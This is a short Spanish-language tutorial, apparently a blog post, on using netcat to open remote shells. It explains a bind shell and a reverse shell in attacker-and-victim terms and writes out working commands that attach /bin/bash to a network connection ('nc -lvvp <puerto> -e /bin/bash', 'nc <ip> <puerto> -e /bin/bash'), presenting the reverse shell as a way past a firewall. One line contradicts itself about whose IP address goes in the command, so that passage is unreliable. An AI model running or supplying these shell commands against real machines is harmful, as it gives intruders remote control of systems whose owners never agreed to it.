Netcat es una herramienta que nos permite a través de una terminal abrir puertos TCP/IP en un dispositivo.

Vamos a usar netcat para hacer una conexión inversa y una conexión directa.

Podría definirse una conexión directa como:

La máquina del atacante se conecta a la máquina victima haciéndole peticiones a esta última. Vamos a ver como crear la conexión directa, es decir no podrán saltarse las defensas del router.

La víctima lanzará el comando netcat a la escucha, de esta forma:

nc -lvvp <puerto> -e /bin/bash

Esta linea nos quiere decir lo siguiente:

-l : Ejecuta netcat modo escucha

-vv : Modo verbose, para que muestre el máximo de información

-e /bin/bash : Ejecutamos un comando, en nuestro caso /bin/bash , es decir, la shell

-p <puerto> : El puerto que queremos que esté a la escucha

Mientras que el atacante lanzará lo siguiente:

nc <ip> <puerto>

Ahora veremos la conexión inversa

Imaginemos que la víctima tiene un firewall que bloquea las conexiones desde la máquina del atacante, no obstante nos podremos conectar a ella ya que es ella la que se conecta a nosotros

En la máquina del atacante deberemos de poner lo siguiente:

nc -lvvp 3767

Lo cuál si analizamos

-vv : Modo verbose (más info)

-l : la máquina del atacante se pone a la escucha

-p : Numero del puerto

Ahora veremos el comando de la máquina de la víctima:

nc <ip> <puerto> -e /bin/bash

Si analizamos la captura podemos ver:

-e /bin/bash: Lanza shell cuando exista la conexión

IP : IP del atacante, es decir hay que poner la IP de la máquina de la víctima

puerto : Se trata del puerto donde el atacante está a la escucha

Así tenemos nuestra conexión reversa, saltando el firewall mal configurado